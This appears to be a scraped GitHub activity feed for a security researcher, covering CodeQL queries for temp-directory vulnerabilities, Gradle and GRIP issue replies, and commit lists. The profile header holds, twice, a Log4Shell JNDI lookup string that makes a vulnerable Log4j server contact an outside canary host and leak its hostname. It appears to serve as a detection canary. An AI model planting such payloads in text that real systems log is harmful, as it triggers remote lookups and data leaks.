profile
viewpoint
Jonathan Leitschuh JLLeitschuh @Gradle Boston, MA ${jndi:ldap://x${hostName}.L4J.lile3fakwhyqg99zgj0yytxz7.canarytokens.com/a} Software Engineer & Security Researcher; Graduated from WPI; BS in Robotics and CS ${jndi:ldap://x${hostName}.L4J.lile3fakwhyqg99zgj0yytxz7.canarytokens.co

gradle/wrapper-validation-action 144

Gradle Wrapper Validation Action

gradle/.github 6

Maintains all of the default policies for the Gradle organization

gradle/github-dependency-extractor 4

Gradle Plugin for Extracting Dependency Information to send to GitHub

cs3733bdt/wpi-suite 2

WPI Suite repository for Bobby Drop Tables (Team 2)

DragonShadesX/rbe_3002 2

A repo for WPI's 3002 Robotics Class

c0bra/grunt-ngdocs 0

Build angularJS documentation with a grunt task.

gradle/securitytxt-worker 0

The worker that serves Cloudflare's security.txt!

JLLeitschuh/3D-Modeling 0

This is repository for models fit for 3D printing. So far OpenSCAD is used as the programming language.

issue commentgradle/gradle

Add option for Gradle Plugin Repository to NOT redirect to JCenter as they regularly rewrite POMs and break checksums

I've unassigned myself as I'm no longer working for Gradle as of last Friday. Nothing bad, just had an opportunity I couldn't turn down.

This is a complicated problem, and I can assure that this isn't just being ignored. There were active discussions about how to resolve this issue long-term going on, but I can't provide any details.

tbroyer

comment created time in 2 days

push eventJLLeitschuh/security-research

Jonathan Leitschuh

commit sha 9a482d51ed8e38748be67efe3485db407f6bd080

Update README.md

view details

push time in 2 days

push eventJLLeitschuh/security-research

Jonathan Leitschuh

commit sha ce7ad1e73eedab9b4081f2fad40ff3e86e732071

Update README.md

view details

push time in 2 days

issue commentWPIRoboticsProjects/GRIP

Microsoft HD-5000 webcam not working on GRIP (macOS)

Here's where we create the OpenCV camera grabber.

https://github.com/WPIRoboticsProjects/GRIP/blob/2d30a10ced329c05ea55f675b609c6f9b6ee01e2/core/src/main/java/edu/wpi/grip/core/sources/CameraSource.java#L401

When using GRIP, the camera 0 should be the built-in camera. USB cameras should be higher numbers, usually 1, 2, 3, ect..

One thing you may want to check is that the MacOS permissions require that you grant camera access on a per-application basis. You may want to make sure you've given GRIP the permissions to access the camera.

neecola

comment created time in 3 days

pull request commentWPIRoboticsProjects/GRIP

OpenCV 4.5.1 with CUDA support

What's the current status of this PR?

GrantPerkins

comment created time in 3 days

issue commentWPIRoboticsProjects/GRIP

Microsoft HD-5000 webcam not working on GRIP (macOS)

From the internal conversation about this from other maintainers:

No, not surprised. GRIP uses raw OpenCV, but cscore doesn't have USB camera support on mac because it's really hard/annoying to do. I don't think opencv works either Maybe it works in opencv4, but grip is still using opencv3

Personally, I thought this worked, but clearly something has changed since I originally wrote it. I don't have the time/resources to debug this issue, but I welcome outside contributions that solve this problem.

neecola

comment created time in 3 days

pull request commentgithub/codeql

Java: CWE-200: Temp directory local information disclosure vulnerability

Additionally, it's a little bit unsatisfying that we have two queries for such similar problems that we can't even come up with good names and description to distinguish them. This points to a solution where the two queries are combined into one. It's a little bit hacky, but you can embed regular query results in a path-problem query: Just take the data-flow nodes for the results of the first query and make them both sources and sinks in a parallel configuration (this configuration should be from the same library copy as the other configuration to have compatible PathNodes). That way you'll have data-flow paths of length zero for these results (and you can of course have different alert messages for the two cases). - https://github.com/github/codeql/pull/4388#pullrequestreview-602894712

I could attempt this solution potentially with some help. The reason that I dislike this is because you can get different error messages depending upon what query you get results back from:

  • Method Query: Local information disclosure vulnerability due to use of file readable by other local users.
  • Method Query: Local information disclosure vulnerability due to use of directory readable by other local users.
  • System Property Query: Local information disclosure vulnerability from [system temp directory] due to use of file or directory readable by other local users.

Also separating these two make it easier to test.

Again, I'm happy to merge them together if it's a blocker to merging, but I think it would be better to have these be separate queries.

JLLeitschuh

comment created time in 3 days

push eventJLLeitschuh/ql

Michael Nebel

commit sha 15b4b218c826057b062dc5567c259ff1a426c55e

C#: Convert System.Nullable<> flow to CSV format.

view details

Michael Nebel

commit sha e879ca7a3b04904cc79b88c183b6bc9424ec3910

C#: Convert System.Convert flow to CSV format.

view details

Michael Nebel

commit sha d60b90acd324baa1bed1ddeca452f2d434d7fb48

C#: Manual update of System.String and System.Convert flow summaries.

view details

JrXnm

commit sha 1a1a7413c249fa205fc3fa19008590718c95d41f

JS: Improv inter-procedural type inference for FunctionExpr

view details

Chris Smowton

commit sha 2cd70b96cd9b61c21707401f43c8d3cefa4ae403

Fix doctype

view details

Chris Smowton

commit sha 9f69c75c5075a8153edd480dde82f141177603fe

Fix XML tag

view details

Chris Smowton

commit sha 75f3ebf05176976a6a66adfac7184adbc0c3ce7f

Fix OTHER XML tag

view details

Geoffrey White

commit sha 65f4ccce28339dc2661046e976df66c6ba605854

C++: Another test case.

view details

Geoffrey White

commit sha 23d4d035e58f4aa360f14bfe9ce2380826419a80

C++: Different approach to sensitive exprs.

view details

Erik Krogh Kristensen

commit sha e7209d1ee101e5fc12a349597bbb398e611851b1

Merge pull request #7216 from erik-krogh/ts45 JS: Add support for TypeScript 4.5

view details

Taus

commit sha 6d247bfdf987f67d1ea5c081ef1739e4e6ba5f46

Merge pull request #7330 from tausbn/python-fix-bad-adjacentuseuse-join Python: Fix bad join in SSA

view details

Chris Smowton

commit sha 753d886b0dd8217cfa3fafcc36afd9de9a2aed26

Merge pull request #6319 from haby0/java/MyBatisSqlInjection [Java] CWE-089 MyBatis Mapper Sql Injection

view details

Aditya Sharad

commit sha 0c3daabc512c5607c97fd28f7b23bdb35b6e2d56

JS: Fix broken regex matching predicate The receiver string and the regex were in the wrong order, leading to test failures when looking for matching comments.

view details

Aditya Sharad

commit sha 271b23ba8faa3c38e55480b34d9eec19cc2621c2

JS: Expand explanatory comment about version placeholders

view details

github-actions[bot]

commit sha 7e5bfa5aa09c56ca2d041b22c7a56e3ab9bdce15

Add changed framework coverage reports

view details

Asger Feldthaus

commit sha 4ef2a5f4f1359151be6beae3568ea53a862d07d3

JS: Add test

view details

Asger Feldthaus

commit sha b336c29283ae02ef73e057476875523613e93ba3

JS: Track functions with methods

view details

Tom Hvitved

commit sha 45c0d4a3b29ca16a62482dd724e557ab7df534cb

Merge pull request #7343 from hvitved/cfg/consistency-test Shared CFG: Add another consistency test

view details

Tom Hvitved

commit sha 70f76d06c78759173450a075e79366d786845293

Shared CFG: Add two more consistency queries

view details

Tom Hvitved

commit sha f7f3890b404172c3d0e2070aca397df37775a2e6

Merge pull request #7320 from hvitved/csharp/unknown-type C#: Populate `UnknownType`

view details

push time in 4 days

push eventJLLeitschuh/ql

Alex Ford

commit sha d09f48ecb418d84218d01780119ac0b7d1449ab0

Ruby: flag up protect_from_forgery calls without an exception strategy

view details

Alex Ford

commit sha c1a51d94a2b28fa361cff02a82914f57add7850c

Ruby: add test for protect_from_forgery without exception strategy

view details

Michael Nebel

commit sha c9467d7e94e36f0a02b5f9dcfec4fb8fb75bcab7

C#: Add new tables to the dbscheme line span pragma.

view details

Michael Nebel

commit sha a197befb5f997a6235929f2f5c69643db94735f1

C#: Add shared base class for line and line span pragmas.

view details

Michael Nebel

commit sha 195d40c04e33fc0c26cae654c4d6da8d672c23f7

C#: Add new class needed for LineSpanDirective and modify existing implementation to use the new types.

view details

Michael Nebel

commit sha af380f846e79bddc8944e6f40d8c16f6a18c9b6d

C#: Add support in the extractor for the LineSpanDirective.

view details

Michael Nebel

commit sha 7e264668d8b7c2cbba814696fdac94d62ec61b0b

C#: Refator directive visitor to use expression body.

view details

Michael Nebel

commit sha 93255dfe1391d9250661871229e43d7167101c11

C#: Add QL library support for the Line span directive.

view details

Michael Nebel

commit sha 8b048ca17e31f8c9259a63108d6714a0d7fa89cc

C#: Add line span pragma example.

view details

Michael Nebel

commit sha ac47c96f48df6a12fd0f8097b3931eeecfbbf3fd

C#: Add Line span pragma test case.

view details

Michael Nebel

commit sha 8fd116fbd7d0fc0c26f60bf247a9bbd71a9423e3

C#: Add upgrade scripts for the new tables requires for the line span pragma.

view details

Michael Nebel

commit sha bf210267712183e0244bdbedbdf1d56757b1eb5c

C#: Add downgrade scripts for the line span pragma.

view details

Michael Nebel

commit sha de3d62b3f4d6f9e50a4e4ff21f95fa754bc067b2

C#: Update stats file for the new relations (they are unfortunately empty).

view details

Benjamin Muskalla

commit sha 8eb674358628135c58692131a5db9e771bdabccf

Split out Lang2 rows

view details

Benjamin Muskalla

commit sha 82bda6d573f2de74528e343d82b6a25afce9715f

Merge Lang2 summary models

view details

Benjamin Muskalla

commit sha 67b60dcf78573a390a10df1797077fdddcd55541

Sort Lang2 rows

view details

Benjamin Muskalla

commit sha 736e68820c1cc036b38ae5625078743ff0182887

Split out Lang3 models

view details

Benjamin Muskalla

commit sha e6800c877c4f856a14ac73e0c9b40a5581cdceb2

Merge Lang3 rows

view details

Benjamin Muskalla

commit sha 9e91b805d6ce2e9a82d3c2d9681d0686492c9041

Sort Lang3 models

view details

Tom Hvitved

commit sha 71ddd00a6c90fb6a48104919d325b4b717a5087e

C#: Workaround Roslyn bug in `INamedTypeSymbol.TupleElements`

view details

push time in 4 days

PR opened github/codeql

VSCode: Autosave when running query

Configure VS Code to autosave when running a query from within the IDE. This prevents an annoying pop-up every time you attempt to execute a CodeQL query from a file that hasn't been saved yet. It also guarntees that what you're seeing in the IDE will be what gets exceuted by the CodeQL plugin.

+2 -1

0 comment

1 changed file

pr created time in 4 days

create barnchJLLeitschuh/ql

branch : improve/JLL/vs-code-setting-autosave

created branch time in 4 days

push eventJLLeitschuh/ql

Jonathan Leitschuh

commit sha d4739a2fb4c276bb7363bda02b4b08b10d77d612

Improve TempDirHijackingVulnerability message

view details

push time in 4 days

issue commentMaxMaeder/DriveBackupV2

FTP Connection Not Open Error

Hi @rhld16,

I needed a plugin with FTP support. I wanted to upload backup to my NAS server, so yes this was the primary reason that I didn't end up using this plugin. I ended up using eBackup

Again, I come into interactions with OSS without many expectations. I get that the maintainers of these projects are unpaid and are doing this for fun in their free time. I have no expectations, but I do really appreciate the hard work that OSS maintainers and plugin authors put into making our lives so much easier.

So even though I didn't end up using this plugin, thank you for developing it! 😄

JLLeitschuh

comment created time in 4 days

pull request commentgithub/codeql

Java: CWE-200: Temp directory local information disclosure vulnerability

I'm planning on picking this PR back up tomorrow. What are the biggest blockers still present (besides the obvious merge conflicts) preventing this from being merged?

JLLeitschuh

comment created time in 4 days

push eventJLLeitschuh/ql

Jonathan Leitschuh

commit sha 3a21e6a9a17af962a874a72ab6ce79f1d3476080

Add documentation and additional test cases

view details

push time in 4 days

startedgithub/vscode-codeql

started time in 4 days

push eventJLLeitschuh/ql

Jonathan Leitschuh

commit sha 4a0b10ac5cf08f681066eea6a6100146fad019a5

Improve warning in TempDirHijackingVulnerability

view details

push time in 4 days

PR opened github/codeql

Fix typo in FileWritable
+1 -1

0 comment

1 changed file

pr created time in 4 days

push eventJLLeitschuh/ql

Jonathan Leitschuh

commit sha 23548c50e1ae22b09959dcd850f3d99d8f6eab3f

Fix typo in FileWritable

view details

push time in 4 days

issue closedJLLeitschuh/ktlint-gradle

Having difficulty installing/using on an offline machine

So I have an offline Maven repository where I host all of my project's dependencies. I've got ktlint-gradle hosted on there, specifically the following as pulled from plugins.gradle.org:

ktlint-gradle-9.4.1.pom
ktlint-gradle-9.4.1-sources.jar
ktlint-gradle-9.4.1-javadoc.jar
ktlint-gradle-9.4.1.jar

When I try to sync my project with this setup, I get an error saying:

Could not GET 'http://path/to/my/repo/org/jlleitschuh/gradle/ktlint-gradle/9.4.1/ktlint-gradle-9.4.1.module'. Received status code 500 from server: Unable to fetch artifact resource.

The POM file includes the following commented-out snippet:

  <!-- This module was also published with a richer model, Gradle metadata,  -->
  <!-- which should be used instead. Do not delete the following line which  -->
  <!-- is to indicate to Gradle or any Gradle module metadata file consumer  -->
  <!-- that they should prefer consuming it instead. -->
  <!-- do_not_remove: published-with-gradle-metadata -->

However I've not been able to find this richer Gradle metadata anywhere, which I assume is the .module file referenced in the error message. Not on plugins.gradle, not on maven central, nowhere. Could someone please point me in the right direction here?

closed time in 4 days

jonapoul

issue commentJLLeitschuh/ktlint-gradle

Having difficulty installing/using on an offline machine

This was due to the JCenter outage.

I'm going to close this issue as not our bug. This is a bug upstream in Gradle. Please open issues of this nature aginst https://github.com/gradle/gradle

jonapoul

comment created time in 4 days

issue commentJLLeitschuh/ktlint-gradle

Task :loadKtlintReporters FAILED

You most likely don't have a repository declared in your build.

    repositories {
        // Required to download KtLint
        mavenCentral()
    }
kritikapandey-jupiter

comment created time in 4 days

PullRequestReviewEvent

Pull request review commentgithub/codeql

Java: CWE-378: Temp Directory Hijacking Race Condition Vulnerability

+/**+ * @name Temporary Directory Hijacking Vulnerability disclosure+ * @description Detect temporary directory hijack vulnerability+ * @kind path-problem+ * @problem.severity error+ * @precision very-high+ * @id java/temp-directory-hijacking+ */++import java+import semmle.code.java.dataflow.FlowSources+import DataFlow::PathGraph++/**+ * All `java.io.File::createTempFile` methods.+ */+private class MethodFileCreateTempFile extends Method {+  MethodFileCreateTempFile() {+    this.getDeclaringType() instanceof TypeFile and+    this.hasName("createTempFile")+  }+}++private class MethodFileMkdir extends Method {+  MethodFileMkdir() {+    getDeclaringType() instanceof TypeFile and+    hasName("mkdir")+    or+    hasName("mkdirs")+  }+}++private class MethodFileDelete extends Method {+  MethodFileDelete() {+    getDeclaringType() instanceof TypeFile and+    hasName("delete")+  }+}++predicate isDeleteFileExpr(Expr expr) {+  exists(MethodAccess ma |+    expr = ma.getQualifier() and+    ma.getMethod() instanceof MethodFileDelete+  )+}++private class TempDirHijackingToDeleteConfig extends DataFlow::Configuration {+  TempDirHijackingToDeleteConfig() { this = "TempDirHijackingToDeleteConfig" }++  override predicate isSource(DataFlow::Node source) {+    exists(MethodAccess ma |+      ma.getMethod() instanceof MethodFileCreateTempFile and+      source.asExpr() = ma+    )+  }++  override predicate isSink(DataFlow::Node sink) { isDeleteFileExpr(sink.asExpr()) }+}++private class TempDirHijackingFromDeleteConfig extends DataFlow2::Configuration {+  TempDirHijackingFromDeleteConfig() { this = "TempDirHijackingFromDeleteConfig" }++  override predicate isSource(DataFlow::Node source) { isDeleteFileExpr(source.asExpr()) }++  override predicate isSink(DataFlow::Node sink) {+    exists(MethodAccess ma |+      ma.getMethod() instanceof MethodFileMkdir and+      ma.getQualifier() = sink.asExpr()+    )+  }+}++predicate isSinkConstrainedByIfCheck(DataFlow2::Node sink) {+  exists(MethodAccess ma, IfStmt ifStmt |+    sink.asExpr() = ma.getQualifier() and+    // Data flow from the return value from `mkdirs` into an 'if' check

I had to make some modifications to your proposal above but this ended up working:

predicate isUnsafeUseUnconstrainedByIfCheck(DataFlow::Node sink, Expr unsafeUse) {
  exists(Guard g, MethodAccess ma |
    any(TempDirHijackingFromDeleteConfig c).isSink(sink) and // Sink is a call to delete
    sink.asExpr() = ma.getQualifier() and // The method access is on the same object as the sink
    g = ma and // The guard is the method access
    DataFlow::localExprFlow(sink.asExpr(), unsafeUse) and // There is some flow from the sink to an unsafe use of the File
    unsafeUse != sink.asExpr() and // The unsafe use is not the sink itself
    not safeUse(unsafeUse) and // The unsafe use is not a safe use
    not g.controls(unsafeUse.getBasicBlock(), true)
  )
}

private predicate safeUse(Expr e) {
  exists(AndLogicalExpr andExp |
    andExp.getType() instanceof BooleanType and andExp.getAnOperand() = e
  )
  or
  exists(AssignAndExpr assignAndExp |
    assignAndExp.getType() instanceof BooleanType and assignAndExp.getSource() = e
  )
}

However, this false-positives on the following two:

   static File safe4() throws IOException {
        boolean success = true;
        File temp = File.createTempFile("test", "directory");
        success &= temp.delete();
        success &= temp.mkdir();
        if (!success) {
            throw new RuntimeException("Failed to create directory");
        }
        return temp;
    }

    static File safe5() throws IOException {
        boolean success = true;
        File temp = File.createTempFile("test", "directory");
        success &= temp.delete();
        success &= temp.mkdir();
        if (success) {
            return temp;
        } else {
            throw new RuntimeException("Failed to create directory");
        }
    }

Is Guard not handling AssignAndExpr correctly for controls?

JLLeitschuh

comment created time in 4 days

push eventJLLeitschuh/ql

Jonathan Leitschuh

commit sha afc9d2c36e7ca355e4784450d77d36706d6d9aed

Improve TempDir hijacking detection with Guard

view details

push time in 4 days

push eventJLLeitschuh/ql

Taus

commit sha 7cd9369d9109bfd05d73cd89f94d7a6a493941da

Python: Autoformat

view details

Erik Krogh Kristensen

commit sha 3c59aa319ee79d8038eec863df7ab18372c7b30e

Merge pull request #7245 from erik-krogh/explicit-this-all-the-places All langs: apply the explicit-this patch to all remaining code

view details

Asger Feldthaus

commit sha e9575c3df6b6a9ea1697e841be4d27be082be1b5

JS: Support AdditionalUseStep in API graphs

view details

Asger Feldthaus

commit sha aae4260819210957c1d8a8bde1a1a8e106a1cefe

JS: Routing model

view details

Erik Krogh Kristensen

commit sha 44c3787457dec3ef6613065d509c852d8af73a99

QL: Add codeql sources (3c59aa319ee79d8038eec863df7ab18372c7b30e)

view details

Erik Krogh Kristensen

commit sha d852b28653d9db3767533d069257930236fd0408

Add codeql sources (3c59aa319ee79d8038eec863df7ab18372c7b30e)

view details

Erik Krogh Kristensen

commit sha a3d11c61a83e3e9f547c796f72d7fbd8552ef1c9

QL: Add codeql-go sources (894102defd0777931a0e261ad66e631e63ec0ad8)

view details

Erik Krogh Kristensen

commit sha 3ebf1e3c13853a4df971d3006e867070c29e8be1

Add codeql-go sources (894102defd0777931a0e261ad66e631e63ec0ad8)

view details

Asger Feldthaus

commit sha 3dd5d4d7b4120febd5f569a6b688e3a856d6bb22

JS: Instantiate for Express and add tests

view details

Asger Feldthaus

commit sha 16fa066636c2c13853940c529e1f825e5825c5e2

JS: Fix false negative in Mongo model

view details

Asger Feldthaus

commit sha 389a3c90731f9693af2f0a7999f1c7df4717ddaf

JS: Port CSRF query

view details

Asger Feldthaus

commit sha 526993346170a5cd01c691cb370f26e5cdb32e23

JS: Port missing rate limiting query

view details

Asger Feldthaus

commit sha cfb9265f0a476f732d521cf16c875b504a8331b4

JS: Add template steps for res.locals.x

view details

Asger Feldthaus

commit sha 71820569e17dcc694aa88a69b4c3b56565ae9acb

JS: Instantiate for Fastify

view details

Asger Feldthaus

commit sha 400bf10cc3b0cf58d693d7dcb5966c15141c3093

JS: Move fastify-specific route handler step into extension point

view details

Asger Feldthaus

commit sha d0e94e655dccb5c180a94efbf378f59ea2318c39

JS: Exclude error handling from auth calls

view details

Asger Feldthaus

commit sha b73219392b5aac1380e11284b383f0817eafbc0e

JS: Improve precision of missing CSRF middleware

view details

Asger Feldthaus

commit sha 66b1612e5eeb71f247c5bf04ee7e69c572fb10ab

JS: Treat non-cookie based auth as CSRF preventer

view details

Asger Feldthaus

commit sha 5f8ea3965d82b1cfe9c525cbaa5c7d2f82d8e276

JS: Do not flag auth endpoints that are immune to Login CSRF

view details

Asger Feldthaus

commit sha 8af430d40f398256d4752dfb4fd3402a88912305

JS: Shift line numbers in TemplateObjectInjection test

view details

push time in 5 days

push eventJLLeitschuh/ql

Taus

commit sha c3e495efe9e838191cde1eb7d4f25009d5d928b8

Python: Refactor built-ins and `import *` logic Moves this from the API graphs implementation into separate files.

view details

Taus

commit sha 6c3aabe1df7d44aca8d80b8053c1c60dc86ac6e1

Python: Support flow through `import *` Adds result for `ModuleVariableNode::getARead` corresponding to reads that go through (chains of) `import *`. This required a bit of a change to _which_ module variables we define. Previously, we only included variables that were accessed elsewhere in the same file, but now we must ensure to also include variables that may be accessed through `import *`.

view details

Taus

commit sha 09a11f4166ae2498ff4e1e90d447d2b800701e8d

Python: Update `ImpliesDataflow` test Turns out that now we can resolve the convoluted imports. Hurray!

view details

Pavel Lobashov

commit sha 6d339e50a30e5a9648e1e21fc7118b6bd99902c8

Fix ruby incorrect version in some readme files There is no `ruby 3.02` version - there is `ruby 3.0.2`

view details

haby0

commit sha db04a0dadf6fff2c82a93534102b4b123e7f59e9

New model: SQL injection in MyBatis annotations

view details

Erik Krogh Kristensen

commit sha da5c2fb4154bca14ff5c9750811e000f1086c8f1

QL: bump the severity of ql/implicit-this

view details

Erik Krogh Kristensen

commit sha 8e1b4e3a5847f53b568faf4040b60c90bc06669d

bump the severity of ql/implicit-this

view details

Erik Krogh Kristensen

commit sha 9ce248c829ac8b87850fe7e1e96c9a0abace27dc

update to TypeScript 4.5.2

view details

Erik Krogh Kristensen

commit sha eef3905c468be83bbe80e1a01af5111be1db973e

update expected output. The TypeScript compiler now emits types in more cases

view details

Erik Krogh Kristensen

commit sha 0e890fd7882b3403d783c7551e8e098de7126de8

add test for the Awaited type

view details

Erik Krogh Kristensen

commit sha 57399b733ef128f648534fc05990975d574ba866

add test for String types as Discriminants

view details

Erik Krogh Kristensen

commit sha d946802057be13a7d632b44b12af2b23c4bf55b2

add support for type-only import specifiers

view details

Erik Krogh Kristensen

commit sha d1a7feebc4a27dc3a49ee313ddfd22264ba558ae

disable import resolution on type-only import specifiers

view details

Erik Krogh Kristensen

commit sha 19bbe6d276140116ac73c6f8db7b5946b64e73ac

add JavaScript support for new private fields syntax

view details

Erik Krogh Kristensen

commit sha 591aeff9065ea6334cbb9c8685ad50deeaa711a4

add TypeScript test for new private field syntax

view details

Erik Krogh Kristensen

commit sha fdcc144a98c2e87752e6ae0492b3cd91595a42a5

add test for import assertions

view details

Dave Bartolomeo

commit sha 2dfcd1dd9c2146baf85177ed0f0be72e9c799d87

Add `groups` property Also removed versions from test packs

view details

Dave Bartolomeo

commit sha d0dac03badee879bf18f74d579ec1611a19812d6

Manually bump versions

view details

Dave Bartolomeo

commit sha 310ef79fbde5a107860425d623d699400cb3115b

C++ change notes

view details

Dave Bartolomeo

commit sha 452685bb662aa9530937738854e002b6935a2efb

Fix change note path

view details

push time in 5 days

issue commentWPIRoboticsProjects/GRIP

[FEATURE REQUEST] please make it clear which java version to compile with

A PR in this area would be welcome!

asdfghjkl403622

comment created time in 6 days

issue commentMaxMaeder/DriveBackupV2

FTP Connection Not Open Error

I ended up using a different plugin.

No worries at all! Regardless, thanks for creating this plugin!

JLLeitschuh

comment created time in 6 days

push eventgradle/github-dependency-extractor

Jonathan Leitschuh

commit sha f23b83f1c4eff27b6b5f06456942ab81d866add9

Clean up report uploading logic

view details

push time in 9 days

more